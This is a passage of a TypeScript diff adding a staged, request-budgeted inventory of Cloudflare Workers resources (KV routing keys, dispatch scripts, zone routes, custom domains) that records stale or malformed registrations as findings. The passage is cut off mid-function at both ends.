/** Stages: `ordinary-script-detail`, `route-claims` (plain identities). */ + readOrdinaryScriptDetail( + input: Readonly<{ scriptName: string; signal?: AbortSignal }>, + ): Promise; + /** Stage: `d1-databases`. */ + listDatabases( + input: Readonly<{ cursor?: string; signal?: AbortSignal }>, + ): Promise; + /** Stage: `do-namespaces`. */ + listDurableObjectNamespaces( + input: Readonly<{ cursor?: string; signal?: AbortSignal }>, + ): Promise; + /** Stage: `r2-buckets`. */ + listR2Buckets( + input: Readonly<{ + jurisdiction: FleetInventoryR2Jurisdiction; + namePrefix: string; + startAfter?: string; + signal?: AbortSignal; + }>, + ): Promise; +} + +/** Fixed refusal when a same-stage page re-read no longer matches its digest. */ +export class CloudflareFleetInventoryCursorDriftError extends Error { + constructor(readonly step: FleetInventoryStageStep) { + super( + `fleet inventory stage '${step}' page changed between bounded chunks`, + ); + this.name = 'CloudflareFleetInventoryCursorDriftError'; + } +} + +/** + * Fixed refusal when one chunk of a stage cannot complete inside + * `maxProviderRequests`. Stages without a resumption ordinal or cursor must + * finish in one chunk, and a chunk that could make no progress fails closed + * rather than looping forever. + */ +export class CloudflareFleetInventoryBudgetError extends Error { + constructor(readonly step: FleetInventoryStageStep) { + super( + `fleet inventory stage '${step}' cannot complete one chunk within its provider request budget`, + ); + this.name = 'CloudflareFleetInventoryBudgetError'; + } +} + +/** Fixed refusal when a provider listing repeats its resumption cursor. */ +export class CloudflareFleetInventoryCursorError extends Error { + constructor(readonly step: FleetInventoryStageStep) { + super(`fleet inventory stage '${step}' repeated a provider cursor`); + this.name = 'CloudflareFleetInventoryCursorError'; + } +} + +interface HostRoutingRegistration { + readonly scriptName: string; + readonly tenantTag: string; + readonly environment: string; + readonly databaseId: string; + readonly routeHostname: string; + readonly keyOwned: boolean; +} + +interface HostRegistryRoute { + readonly hostname: string; + readonly scriptName: string; + readonly tenantTag: string; + readonly environment: string; +} + +interface DispatchScript { + readonly id: string; + readonly tags: readonly string[]; +} + +interface MatchedZoneRoute extends WorkerZoneRoute { + readonly scriptName: string; +} + +interface PlainIdentity { + readonly tenantTag: string; + readonly environment: string; +} + +function sha256Hex(value: string): string { + return createHash('sha256').update(value).digest('hex'); +} + +function tagValue(tags: readonly string[], prefix: string): string | undefined { + return tags.find((tag) => tag.startsWith(prefix))?.slice(prefix.length); +} + +/** + * Hostnames reach the durable controls as ASCII, while the finding detail keeps + * today's exact bytes: an ASCII value is never rewritten, so only a genuine IDN + * value is punycoded for validation. + */ +function asciiHost(value: string): string { + if (!NON_ASCII.test(value)) return value; + const ascii = domainToASCII(value); + return ascii === '' ? value : ascii; +} + +function detailValue(value: string, field: string): string { + assertInventoryFindingValue(value, field); + return value; +} + +function detailHost(value: string, field: string): string { + assertInventoryFindingValue(asciiHost(value), field); + return value; +} + +class RequestBudget { + #used = 0; + + constructor( + private readonly maximum: number, + private readonly step: FleetInventoryStageStep, + ) {} + + get used(): number { + return this.#used; + } + + get available(): boolean { + return this.#used < this.maximum; + } + + /** Charges one provider request, failing closed at the caller's budget. */ + spend(): void { + if (!this.available) { + throw new CloudflareFleetInventoryBudgetError(this.step); + } + this.#used += 1; + } +} + +/** + * Page identity for a resumed chunk: the digest of the first page this chunk + * consumed must match the digest the previous chunk of the SAME stage position + * persisted, otherwise the offset must not advance. + */ +class PageIdentity { + #digest: string | undefined; + + constructor( + private readonly expected: string | undefined, + private readonly step: FleetInventoryStageStep, + ) {} + + get digest(): string | undefined { + return this.#digest; + } + + observe(parts: readonly unknown[]): void { + if (this.#digest !== undefined) return; + const digest = sha256Hex(JSON.stringify(parts)); + this.#digest = digest; + if (this.expected !== undefined && this.expected !== digest) { + throw new CloudflareFleetInventoryCursorDriftError(this.step); + } + } +} + +class StagedRowSink { + readonly rows: FleetInventoryStagedRow[] = []; + readonly facts: FleetInventoryStagedFact[] = []; + readonly #counts: Record; + readonly #factOrdinals = new Map(); + + constructor(counts: Readonly>) { + this.#counts = { ...counts }; + } + + count(kind: FleetInventoryRowKind): number { + return this.#counts[kind]; + } + + get counts(): Readonly> { + return { ...this.#counts }; + } + + add( + kind: FleetInventoryRowKind, + payload: Readonly>, + ): number { + const ordinal = this.#counts[kind]; + this.#counts[kind] = ordinal + 1; + this.rows.push({ kind, ordinal, payload }); + return ordinal; + } + + fact( + deploymentOrdinal: number, + factKind: FleetInventoryDeploymentFactKind, + payload: Readonly>, + ): void { + const key = `${deploymentOrdinal}:${factKind}`; + const factOrdinal = this.#factOrdinals.get(key) ?? 0; + this.#factOrdinals.set(key, factOrdinal + 1); + this.facts.push({ deploymentOrdinal, factKind, factOrdinal, payload }); + } + + finding( + kind: FleetInventoryFindingKind, + tenantTag: string, + environment: string, + detail: string, + ): void { + this.add('finding', { + record: 'finding', + tenantTag, + environment, + kind, + detail, + }); + } +} + +interface StageContext { + readonly deps: CloudflareFleetInventoryDeps; + readonly options: FleetInventoryRunOptions; + readonly budget: RequestBudget; + readonly identity: PageIdentity; + readonly sink: StagedRowSink; + readonly diagnostics: string[]; + readonly signal?: AbortSignal; +} + +function checkSignal(signal: AbortSignal | undefined): void { + signal?.throwIfAborted(); +} + +/** Sanitized, call-local provider diagnostic; never durable. */ +function diagnostic( + context: StageContext, + label: string, + error: unknown, +): void { + context.diagnostics.push(`${label}: ${String(error)}`); +} + +async function hostRoutingKeyNames( + context: StageContext, +): Promise { + const namespaceId = context.options.hostRoutingKvId; + if (namespaceId === undefined) return []; + const names: (string | undefined)[] = []; + let cursor: string | undefined; + const seen = new Set(); + for (;;) { + checkSignal(context.signal); + context.budget.spend(); + const page = await context.deps.listHostRoutingKeys({ + namespaceId, + ...(cursor === undefined ? {} : { cursor }), + ...(context.signal ? { signal: context.signal } : {}), + }); + for (const key of page.keys) { + names.push( + key.name === undefined || key.name === '' ? undefined : key.name, + ); + if (names.length > CLOUDFLARE_INVENTORY_BOUND) { + throw inventoryBoundExceeded( + 'host-routing KV key inventory', + CLOUDFLARE_INVENTORY_BOUND, + ); + } + } + if (!page.cursor) return names; + if (seen.has(page.cursor)) { + throw new CloudflareFleetInventoryCursorError('host-kv-keys'); + } + seen.add(page.cursor); + cursor = page.cursor; + } +} + +interface ParsedHostRoutingKey { + readonly registration?: HostRoutingRegistration; + readonly route?: HostRegistryRoute & { + readonly policy: ReturnType; + readonly stateEgress?: HostRoutingTarget['stateEgress']; + }; + readonly finding?: Readonly<{ + kind: FleetInventoryFindingKind; + tenantTag: string; + environment: string; + detail: string; + }>; +} + +/** + * Reproduces the drain's per-key classification for one host-routing KV key, + * including its finding vocabulary and the order of its refusals. The raw key + * name is untrusted input, so it faces the credential control first and then + * the shape predicate, whose failure takes the ordinal fallback rather than + * aborting the account inventory. + */ +async function classifyHostRoutingKey( + context: StageContext, + keyOrdinal: number, + keyName: string, +): Promise { + const namespaceId = context.options.hostRoutingKvId; + if (namespaceId === undefined) return {}; + const isRegistration = keyName.startsWith(SCRIPT_INVENTORY_PREFIX); + const registeredName = isRegistration + ? keyName.slice(SCRIPT_INVENTORY_PREFIX.length) + : undefined; + assertNoCredentialInInventoryText(keyName, 'hostRoutingKey'); + const safeKeyName = isInventoryKeyNameShape(keyName); + const unsafeName = (): ParsedHostRoutingKey => ({ + finding: { + kind: 'malformed-script-registration', + tenantTag: 'unknown', + environment: 'unknown', + detail: `script inventory key at ordinal ${keyOrdinal} has an unsafe name`, + }, + }); + checkSignal(context.signal); + context.budget.spend(); + const serialized = await context.deps.readHostRoutingValue({ + namespaceId, + keyName, + ...(context.signal ? { signal: context.signal } : {}), + }); + if (!safeKeyName) return unsafeName(); + const key = detailHost(keyName, 'hostRoutingKey'); + if (serialized === undefined) { + return { + finding: { + kind: isRegistration ? 'stale-script-registration' : 'stale-route', + tenantTag: 'unknown', + environment: 'unknown', + detail: `fleet inventory key '${key}' disappeared while it was being read`, + }, + }; + } + let value: unknown; + try { + value = JSON.parse(serialized); + } catch { + return { + finding: { + kind: isRegistration + ? 'malformed-script-registration' + : 'malformed-route', + tenantTag: 'unknown', + environment: 'unknown', + detail: `fleet inventory key '${key}' is not valid JSON`, + }, + }; + } + if (!value || typeof value !== 'object') { + return { + finding: { + kind: isRegistration + ? 'malformed-script-registration' + : 'malformed-route', + tenantTag: 'unknown', + environment: 'unknown', + detail: `fleet inventory key '${key}' is not an object`, + }, + }; + } + const candidate = value as Record; + const claimedTenant = + typeof candidate.tenantTag === 'string' ? candidate.tenantTag : 'unknown'; + const claimedEnvironment = + typeof candidate.environment === 'string' + ? candidate.environment + : 'unknown'; + if (isRegistration) { + if ( + typeof candidate.scriptName !== 'string' || + typeof candidate.tenantTag !== 'string' || + typeof candidate.environment !== 'string' || + typeof candidate.databaseId !== 'string' || + typeof candidate.routeHostname !== 'string' + ) { + return { + finding: { + kind: 'malformed-script-registration', + tenantTag: claimedTenant, + environment: claimedEnvironment, + detail: `script inventory key '${key}' has incomplete ownership metadata`, + }, + }; + } + if ( + !candidate.scriptName.startsWith(context.options.scriptNamePrefix) && + !registeredName?.startsWith(context.options.scriptNamePrefix) + ) { + return {}; + } + const keyOwned = registeredName === candidate.scriptName; + const registration: HostRoutingRegistration = { + scriptName: candidate.scriptName, + tenantTag: candidate.tenantTag, + environment: candidate.environment, + databaseId: candidate.databaseId, + routeHostname: candidate.routeHostname, + keyOwned, + }; + if (keyOwned) return { registration }; + return { + registration, + finding: { + kind: 'stale-script-registration', + tenantTag: candidate.tenantTag, + environment: candidate.environment, + detail: `script inventory key '${key}' claims '${detailValue( + candidate.scriptName, + 'scriptName', + )}'`, + }, + }; + } + if ( + typeof candidate.scriptName !== 'string' || + typeof candidate.tenantTag !== 'string' || + typeof candidate.environment !== 'string' || + typeof candidate.policyId !== 'string' || + typeof candidate.policyDigest !== 'string' || + !Array.isArray(candidate.policyHosts) || + candidate.policyHosts.some((host) => typeof host !== 'string') + ) { + return { + finding: { + kind: 'malformed-route', + tenantTag: claimedTenant, + environment: claimedEnvironment, + detail: `host route '${key}' has incomplete ownership metadata`, + }, + }; + } + let policy: ReturnType; + try { + policy = canonicalDeploymentEgressPolicy({ + policyId: candidate.policyId, + tenantTag: candidate.tenantTag, + environment: candidate.environment, + allowedHosts: candidate.policyHosts as string[], + }); + } catch { + return { + finding: { + kind: 'malformed-route', + tenantTag: candidate.tenantTag, + environment: candidate.environment, + detail: `host route '${key}' has invalid policy metadata`, + }, + }; + } + if ( + candidate.policyDigest !== policy.policyDigest || + JSON.stringify(candidate.policyHosts) !== JSON.stringify(policy.policyHosts) + ) { + return { + finding: { + kind: 'malformed-route', + tenantTag: candidate.tenantTag, + environment: candidate.environment, + detail: `host route '${key}' has inconsistent policy metadata`, + }, + }; + } + let stateEgress: HostRoutingTarget['stateEgress']; + try { + stateEgress = (await parseHostRoutingTarget(serialized)).stateEgress; + } catch { + return { + finding: { + kind: 'malformed-route', + tenantTag: candidate.tenantTag, + environment: candidate.environment, + detail: `host route '${key}' has invalid state-egress metadata`, + }, + }; + } + if (!candidate.scriptName.startsWith(context.options.scriptNamePrefix)) { + return {}; + } + return { + route: { + hostname: keyName, + scriptName: candidate.scriptName, + tenantTag: candidate.tenantTag, + environment: candidate.environment, + policy, + ...(stateEgress ? { stateEgress } : {}), + }, + }; +} + +interface HostRoutingSnapshot { + readonly registrations: readonly HostRoutingRegistration[]; + readonly routes: readonly HostRegistryRoute[]; +} + +/** + * Re-reads the host-routing registry a later stage depends on. Findings are + * intentionally discarded: `host-kv-values` already staged them, and a second + * copy would change the durable finding order. + */ +async function hostRoutingSnapshot( + context: StageContext, +): Promise { + const registrations: HostRoutingRegistration[] = []; + const routes: HostRegistryRoute[] = []; + const names = await hostRoutingKeyNames(context); + for (const [keyOrdinal, keyName] of names.entries()) { + if (keyName === undefined) continue; + const parsed = await classifyHostRoutingKey(context, keyOrdinal, keyName); + if (parsed.registration) registrations.push(parsed.registration); + if (parsed.route) { + routes.push({ + hostname: parsed.route.hostname, + scriptName: parsed.route.scriptName, + tenantTag: parsed.route.tenantTag, + environment: parsed.route.environment, + }); + } + } + return { registrations, routes }; +} + +async function dispatchScripts( + context: StageContext, +): Promise { + if (!context.options.includeDispatchNamespace) return []; + const namespace = context.deps.dispatchNamespace(); + const scripts: DispatchScript[] = []; + let cursor: string | undefined; + let pageNumber = 0; + const seen = new Set(); + for (;;) { + checkSignal(context.signal); + context.budget.spend(); + const page = await listDispatchScriptPage(context.deps.attachmentScan, { + namespace, + ...(cursor === undefined ? {} : { cursor }), + perPage: DISPATCH_PAGE_SIZE, + ...(context.signal ? { signal: context.signal } : {}), + }); + scripts.push(...page.scripts); + if (scripts.length > CLOUDFLARE_INVENTORY_BOUND) { + throw inventoryBoundExceeded( + 'dispatch script inventory', + CLOUDFLARE_INVENTORY_BOUND, + ); + } + if (!page.nextCursor) return scripts; + pageNumber += 1; + if (pageNumber >= DISPATCH_PAGE_BOUND) { + throw new Error('Cloudflare dispatch script listing exceeded 100 pages'); + } + if (seen.has(page.nextCursor)) { + throw new Error('Cloudflare dispatch script listing repeated a cursor'); + } + seen.add(page.nextCursor); + cursor = page.nextCursor; + } +} + +async function customDomains( + context: StageContext, +): Promise[]> { + const matched: Readonly<{ hostname: string; service: string }>[] = []; + let cursor: string | undefined; + let encountered = 0; + const seen = new Set(); + for (;;) { + checkSignal(context.signal); + context.budget.spend(); + const page = await context.deps.listCustomDomains({ + ...(cursor === undefined ? {} : { cursor }), + ...(context.signal ? { signal: context.signal } : {}), + }); + for (const domain of page.domains) { + encountered += 1; + if (encountered > CLOUDFLARE_INVENTORY_BOUND) { + throw inventoryBoundExceeded( + 'custom domain inventory', + CLOUDFLARE_INVENTORY_BOUND, + ); + } + if (domain.service.startsWith(context.options.scriptNamePrefix)) { + matched.push({ hostname: domain.hostname, service: domain.service }); + } + } + if (!page.cursor) return matched; + if (seen.has(page.cursor)) { + throw new CloudflareFleetInventoryCursorError('custom-domains'); + } + seen.add(page.cursor); + cursor = page.cursor; + } +} + +async function zoneRoutesForZone( + context: StageContext, + zoneId: string, +): Promise { + const matched: MatchedZoneRoute[] = []; + let cursor: string | undefined; + let encountered = 0; + const seen = new Set(); + for (;;) { + checkSignal(context.signal); + context.budget.spend(); + const page = await context.deps.listZoneRoutes({ + zoneId, + ...(cursor === undefined ? {} : { cursor }), + ...(context.signal ? { signal: context.signal } : {}), + }); + for (const route of page.routes) { + encountered += 1; + if (encountered > CLOUDFLARE_INVENTORY_BOUND) { + throw inventoryBoundExceeded( + 'Worker zone-route inventory', + CLOUDFLARE_INVENTORY_BOUND, + ); + } + if ( + route.script?.startsWith(context.options.scriptNamePrefix) && + route.id && + route.pattern + ) { + matched.push({ + zoneId, + routeId: route.id, + pattern: route.pattern, + scriptName: route.script, + }); + } + } + if (!page.cursor) return matched; + if (seen.has(page.cursor)) { + throw new CloudflareFleetInventoryCursorError('zone-routes'); + } + seen.add(page.cursor); + cursor = page.cursor; + } +} + +async function allZoneRoutes( + context: StageContext, +): Promise { + checkSignal(context.signal); + context.budget.spend(); + const zoneIds = await context.deps.listWorkerRouteZoneIds( + context.signal ? { signal: context.signal } : {}, + ); + const routes: MatchedZoneRoute[] = []; + for (const zoneId of zoneIds) { + routes.push(...(await zoneRoutesForZone(context, zoneId))); + } + return routes; +} + +async function ordinaryScriptNames( + context: StageContext, +): Promise { + const matched: string[] = []; + let cursor: string | undefined; + const seen = new Set(); + for (;;) { + checkSignal(context.signal); + context.budget.spend(); + const page = await context.deps.listOrdinaryScripts({ + ...(cursor === undefined ? {} : { cursor }), + ...(context.signal ? { signal: context.signal } : {}), + }); + for (const script of page.scripts) { + if (!script.id?.startsWith(context.options.scriptNamePrefix)) continue; + matched.push(script.id); + if (matched.length > CLOUDFLARE_INVENTORY_BOUND) { + throw inventoryBoundExceeded( + 'ordinary Worker script inventory', + CLOUDFLARE_INVENTORY_BOUND, + ); + } + } + if (!page.cursor) return matched; + if (seen.has(page.cursor)) { + throw new CloudflareFleetInventoryCursorError('ordinary-scripts'); + } + seen.add(page.cursor); + cursor = page.cursor; + } +} + +interface OrdinaryDeployment { + readonly scriptName: string; + readonly tenantTag: string; + readonly environment: string; + readonly resourceRole?: 'platform-state' | 'deployment-egress'; + readonly resourceGroupId?: string; + readonly artifactVersion: string; + readonly desiredSpecDigest?: string; + readonly schemaVersion: number; + readonly databaseIds: readonly string[]; + readonly durableObjectBindings: readonly Readonly>[]; + readonly serviceBindings: readonly Readonly>[]; + readonly queueProducerBindings: readonly Readonly>[]; + readonly kvNamespaceBindings: readonly Readonly>[]; + readonly r2BucketBindings: readonly Readonly>[]; + readonly secretNames: readonly string[]; + readonly plainTextBindings: Readonly>; + readonly publiclyReachable: boolean; +} + +/** + * Rebuilds one ordinary Worker's deployment from its active artifact, applying + * the drain's identity requirement. Every refusal inside this function is the + * refusal the drain reports as `plain Worker '' could not be + * inventoried`. + */ +function ordinaryDeployment( + scriptName: string, + detail: FleetInventoryOrdinaryScriptDetail, + scriptZoneRoutes: readonly MatchedZoneRoute[], +): OrdinaryDeployment { + const bindings = detail.bindings; + const databaseIds = bindings.flatMap((binding) => + binding.type === 'd1' && binding.database_id ? [binding.database_id] : [], + ); + const durableObjectBindings = bindings.flatMap((binding) => { + if ( + binding.type !== 'durable_object_namespace' || + !binding.namespace_id || + !binding.name || + !binding.class_name + ) { + return []; + } + return [ + { + name: binding.name, + className: binding.class_name, + namespaceId: binding.namespace_id, + ...(binding.script_name ? { scriptName: binding.script_name } : {}), + ...(binding.dispatch_namespace + ? { dispatchNamespace: binding.dispatch_namespace } + : {}), + }, + ]; + }); + const serviceBindings = bindings.flatMap((binding) => + binding.type === 'service' && binding.name && binding.service + ? [ + { + name: binding.name, + service: binding.service, + ...(binding.entrypoint ? { entrypoint: binding.entrypoint } : {}), + }, + ] + : [], + ); + const queueProducerBindings = bindings.flatMap((binding) => + binding.type === 'queue' && binding.name && binding.queue_name + ? [{ name: binding.name, queueName: binding.queue_name }] + : [], + ); + const kvNamespaceBindings = bindings.flatMap((binding) => + binding.type === 'kv_namespace' && binding.name && binding.namespace_id + ? [{ name: binding.name, namespaceId: binding.namespace_id }] + : [], + ); + const r2BucketBindings = bindings.flatMap((binding) => + binding.type === 'r2_bucket' && binding.name && binding.bucket_name + ? [ + { + name: binding.name, + bucketName: binding.bucket_name, + jurisdiction: 'default' as const, + }, + ] + : [], + ); + const plainText = new Map( + bindings.flatMap((binding) => + binding.type === 'plain_text' + ? [[binding.name ?? '', binding.text ?? ''] as const] + : [], + ), + ); + const tenantTag = plainText.get('DEPLOYMENT_TENANT'); + const environment = plainText.get('FLEET_ENVIRONMENT'); + const resourceRole = plainText.get('FLEET_RESOURCE_ROLE'); + const resourceGroupId = plainText.get('FLEET_RESOURCE_GROUP'); + const schemaVersion = Number(plainText.get('FLEET_SCHEMA_VERSION')); + if (!tenantTag || !environment || !Number.isSafeInteger(schemaVersion)) { + throw new Error('active Worker identity settings are missing'); + } + const trusted = + resourceRole === 'platform-state' || resourceRole === 'deployment-egress'; + const specDigest = plainText.get('FLEET_SPEC_DIGEST'); + return { + scriptName, + tenantTag, + environment, + ...(trusted ? { resourceRole, resourceGroupId } : {}), + artifactVersion: detail.artifactVersion, + ...(specDigest ? { desiredSpecDigest: specDigest } : {}), + schemaVersion, + databaseIds, + durableObjectBindings, + serviceBindings, + queueProducerBindings, + kvNamespaceBindings, + r2BucketBindings, + secretNames: detail.secretNames, + plainTextBindings: Object.fromEntries(plainText), + publiclyReachable: + trusted && + (detail.subdomainEnabled || + detail.previewsEnabled || + scriptZoneRoutes.length > 0), + }; +} + +async function plainIdentities( + context: StageContext, + names: readonly string[], +): Promise> { + const identities = new Map(); + for (const scriptName of names) { + checkSignal(context.signal); + context.budget.spend(); + try { + const detail = await context.deps.readOrdinaryScriptDetail({ + scriptName, + ...(context.signal ? { signal: context.signal } : {}), + }); + const deployment = ordinaryDeployment(scriptName, detail, []); + identities.set(scriptName, { + tenantTag: deployment.tenantTag, + environment: deployment.environment, + }); + } catch (error) { + // The drain records no identity for a script it could not inventory; the + // finding for that script belongs to `ordinary-script-detail`. + diagnostic(context, `plain Worker '${scriptName}'`, error); + } + } + return identities; +} + +function stageDeploymentFacts( + sink: StagedRowSink, + deploymentOrdinal: number, + facts: Readonly<{ + databaseIds: readonly string[]; + durableObjectBindings: readonly Readonly>[]; + serviceBindings: readonly Readonly>[]; + queueProducerBindings: readonly Readonly>[]; + kvNamespaceBindings?: readonly Readonly>[]; + r2BucketBindings: readonly Readonly>[]; + secretNames: readonly string[]; + plainTextBindings: Readonly>; + routeHostnames: readonly string[]; + zoneRoutes: readonly WorkerZoneRoute[]; + }>, +): void { + for (const databaseId of facts.databaseIds) { + sink.fact(deploymentOrdinal, 'database-id', { databaseId }); + } + for (const binding of facts.durableObjectBindings) { + sink.fact(deploymentOrdinal, 'durable-object-binding', binding); + } + for (const binding of facts.serviceBindings) { + sink.fact(deploymentOrdinal, 'service-binding', binding); + } + for (const binding of facts.queueProducerBindings) { + sink.fact(deploymentOrdinal, 'queue-producer-binding', binding); + } + for (const binding of facts.kvNamespaceBindings ?? []) { + sink.fact(deploymentOrdinal, 'kv-binding', binding); + } + for (const binding of facts.r2BucketBindings) { + sink.fact(deploymentOrdinal, 'r2-binding', binding); + } + for (const secretName of facts.secretNames) { + sink.fact(deploymentOrdinal, 'secret-name', { secretName }); + } + for (const [name, text] of Object.entries(facts.plainTextBindings)) { + sink.fact(deploymentOrdinal, 'plain-text-binding', { name, text }); + } + for (const hostname of facts.routeHostnames) { + sink.fact(deploymentOrdinal, 'route-hostname', { hostname }); + } + for (const route of facts.zoneRoutes) { + sink.fact(deploymentOrdinal, 'zone-route', { ...route }); + } +} + +async function advanceHostKvKeys( + context: StageContext, + stage: Readonly<{ step: 'host-kv-keys'; cursor?: string }>, +): Promise { + const namespaceId = context.options.hostRoutingKvId; + if (namespaceId === undefined) { + return nextStage(stage, context.options, context.sink.counts); + } + let cursor = stage.cursor; + const seen = new Set(); + for (;;) { + checkSignal(context.signal); + context.budget.spend(); + const page = await context.deps.listHostRoutingKeys({ + namespaceId, + ...(cursor === undefined ? {} : { cursor }), + ...(context.signal ? { signal: context.signal } : {}), + }); + context.identity.observe([ + 'host-kv-keys', + cursor ?? null, + page.keys.map((key) => key.name ?? null), + page.cursor ?? null, + ]); + for (const key of page.keys) { + if (context.sink.count('registration') >= CLOUDFLARE_INVENTORY_BOUND) { + throw inventoryBoundExceeded( + 'host-routing KV key inventory', + CLOUDFLARE_INVENTORY_BOUND, + ); + } + // The key list is the durable work list for `host-kv-values`. The raw + // name is deliberately absent: it is untrusted input that the value + // stage re-reads from the provider, so no hostile byte is persisted. + context.sink.add('registration', { + record: 'kv-key', + named: key.name !== undefined && key.name !== '', + }); + } + if (!page.cursor) { + return nextStage(stage, context.options, context.sink.counts); + } + if (seen.has(page.cursor) || page.cursor === cursor) { + throw new CloudflareFleetInventoryCursorError('host-kv-keys'); + } + seen.add(page.cursor); + cursor = page.cursor; + if (!context.budget.available) return { step: 'host-kv-keys', cursor }; + } +} + +async function advanceHostKvValues( + context: StageContext, + stage: Readonly<{ step: 'host-kv-values'; keyOrdinal: number }>, +): Promise { + const names = await hostRoutingKeyNames(context); + context.identity.observe([ + 'host-kv-values', + stage.keyOrdinal, + names.map((name) => name ?? null), + ]); + let keyOrdinal = stage.keyOrdinal; + while (keyOrdinal < names.length) { + if (!context.budget.available) { + if (keyOrdinal === stage.keyOrdinal) { + throw new CloudflareFleetInventoryBudgetError('host-kv-values'); + } + return { step: 'host-kv-values', keyOrdinal }; + } + const keyName = names[keyOrdinal]; + if (keyName !== undefined) { + const parsed = await classifyHostRoutingKey(context, keyOrdinal, keyName); + if (parsed.registration) { + context.sink.add('registration', { + record: 'registration', + ...parsed.registration, + }); + } + if (parsed.finding) { + context.sink.finding( + parsed.finding.kind, + parsed.finding.tenantTag, + parsed.finding.environment, + parsed.finding.detail, + ); + } + if (parsed.route) { + context.sink.add('route', { + record: 'route', + backend: 'workers-for-platforms', + surface: 'host-registry', + hostname: parsed.route.hostname, + scriptName: parsed.route.scriptName, + tenantTag: parsed.route.tenantTag, + environment: parsed.route.environment, + ...parsed.route.policy, + ...(parsed.route.stateEgress + ? { stateEgress: parsed.route.stateEgress } + : {}), + }); + } + } + keyOrdinal += 1; + } + return nextStage(stage, context.options, context.sink.counts); +} + +async function advanceDispatchPages( + context: StageContext, + stage: Readonly<{ + step: 'dispatch-pages'; + cursor?: string; + pageOrdinal: number; + }>, +): Promise { + if (!context.options.includeDispatchNamespace) { + return nextStage(stage, context.options, context.sink.counts); + } + const namespace = context.deps.dispatchNamespace(); + let cursor = stage.cursor; + let pageOrdinal = stage.pageOrdinal; + const seen = new Set(); + for (;;) { + checkSignal(context.signal); + context.budget.spend(); + const page = await listDispatchScriptPage(context.deps.attachmentScan, { + namespace, + ...(cursor === undefined ? {} : { cursor }), + perPage: DISPATCH_PAGE_SIZE, + ...(context.signal ? { signal: context.signal } : {}), + }); + context.identity.observe([ + 'dispatch-pages', + cursor ?? null, + page.scripts.map((script) => [script.id, script.tags]), + page.nextCursor ?? null, + ]); + for (const script of page.scripts) { + if (context.sink.count('dispatch-script') >= CLOUDFLARE_INVENTORY_BOUND) { + throw inventoryBoundExceeded( + 'dispatch script inventory', + CLOUDFLARE_INVENTORY_BOUND, + ); + } + context.sink.add('dispatch-script', { + record: 'dispatch-script', + scriptId: script.id, + tags: [...script.tags], + }); + } + if (!page.nextCursor) { + return nextStage(stage, context.options, context.sink.counts); + } + pageOrdinal += 1; + if (pageOrdinal >= DISPATCH_PAGE_BOUND) { + throw new Error('Cloudflare dispatch script listing exceeded 100 pages'); + } + if (seen.has(page.nextCursor) || page.nextCursor === cursor) { + throw new Error('Cloudflare dispatch script listing repeated a cursor'); + } + seen.add(page.nextCursor); + cursor = page.nextCursor; + if (!context.budget.available) { + return { step: 'dispatch-pages', cursor, pageOrdinal }; + } + } +} + +async function advanceRegistrationChecks( + context: StageContext, + stage: Readonly<{ + step: 'registration-checks'; + registrationOrdinal: number; + }>, +): Promise { + const { registrations, routes } = await hostRoutingSnapshot(context); + const scripts = await dispatchScripts(context); + const listedByName = new Map(scripts.map((script) => [script.id, script])); + context.identity.observe([ + 'registration-checks', + stage.registrationOrdinal, + registrations.map((registration) => registration.scriptName), + ]); + const includeDispatchNamespace = context.options.includeDispatchNamespace; + let registrationOrdinal = stage.registrationOrdinal; + while (registrationOrdinal < registrations.length) { + if (!context.budget.available) { + if (registrationOrdinal === stage.registrationOrdinal) { + throw new CloudflareFleetInventoryBudgetError('registration-checks'); + } + return { step: 'registration-checks', registrationOrdinal }; + } + const registration = registrations[registrationOrdinal]; + if (!registration) break; + const scriptName = detailValue(registration.scriptName, 'scriptName'); + const listed = listedByName.get(registration.scriptName); + if (includeDispatchNamespace && !listed) { + context.sink.finding( + 'stale-script-registration', + registration.tenantTag, + registration.environment, + `registered script '${scriptName}' is absent from the dispatch namespace listing`, + ); + } + if ( + includeDispatchNamespace && + listed && + (!listed.tags.includes(FLEET_SCRIPT_TAG) || + tagValue(listed.tags, 'tenant:') !== registration.tenantTag || + tagValue(listed.tags, 'environment:') !== registration.environment) + ) { + context.sink.finding( + 'stale-script-registration', + registration.tenantTag, + registration.environment, + `registered script '${scriptName}' does not match its live fleet tags`, + ); + } + checkSignal(context.signal); + context.budget.spend(); + let live: FleetInventoryDispatchWorker | undefined; + try { + live = await context.deps.inspectDispatchWorker({ + scriptName: registration.scriptName, + ...(context.signal ? { signal: context.signal } : {}), + }); + } catch (error) { + if (context.deps.isDispatchCapabilityError(error)) throw error; + // The durable finding carries the fixed template only; the transient + // provider text stays in the call-local diagnostics. + diagnostic(context, `registered script '${scriptName}'`, error); + context.sink.finding( + 'stale-script-registration', + registration.tenantTag, + registration.environment, + `registered script '${scriptName}' could not be inspected`, + ); + registrationOrdinal += 1; + continue; + } + if (!live) { + context.sink.finding( + 'stale-script-registration', + registration.tenantTag, + registration.environment, + `registered script '${scriptName}' is missing`, + ); + registrationOrdinal += 1; + continue; + } + const deploymentOrdinal = context.sink.add('deployment', { + record: 'deployment', + backend: 'workers-for-platforms', + scriptName: registration.scriptName, + tenantTag: live.tenantTag, + environment: live.environment, + artifactVersion: live.artifactVersion, + desiredSpecDigest: live.desiredSpecDigest, + schemaVersion: live.schemaVersion, + }); + stageDeploymentFacts(context.sink, deploymentOrdinal, { + databaseIds: live.databaseIds, + durableObjectBindings: live.durableObjectBindings, + serviceBindings: live.serviceBindings, + queueProducerBindings: live.queueProducerBindings, + r2BucketBindings: live.r2BucketBindings, + secretNames: live.secretNames, + plainTextBindings: live.plainTextBindings, + routeHostnames: routes + .filter((route) => route.scriptName === registration.scriptName) + .map((route) => route.hostname), + zoneRoutes: [], + }); + const ownerMatches = + registration.keyOwned && + live.tenantTag === registration.tenantTag && + live.environment === registration.environment && + live.databaseIds.length === 1 && + live.databaseIds[0] === registration.databaseId; + if (!ownerMatches && registration.keyOwned) { + context.sink.finding( + 'stale-script-registration', + registration.tenantTag, + registration.environment, + `registered script '${scriptName}' does not match its live tenant, environment, or database ownership`, + ); + } + registrationOrdinal += 1; + } + return nextStage(stage, context.options, context.sink.counts); +} + +async function advanceRegistrationPostprocess( + context: StageContext, + stage: Readonly<{ step: 'registration-postprocess' }>, +): Promise { + const { registrations, routes } = await hostRoutingSnapshot(context); + const scripts = await dispatchScripts(context); + const registrationByScript = new Map( + registrations.map((registration) => [ + registration.scriptName, + registration, + ]), + ); + for (const script of scripts) { + const registration = registrationByScript.get(script.id); + if (registration?.keyOwned) continue; + context.sink.finding( + 'unknown-dispatch-scripts', + tagValue(script.tags, 'tenant:') ?? 'unknown', + tagValue(script.tags, 'environment:') ?? 'unknown', + 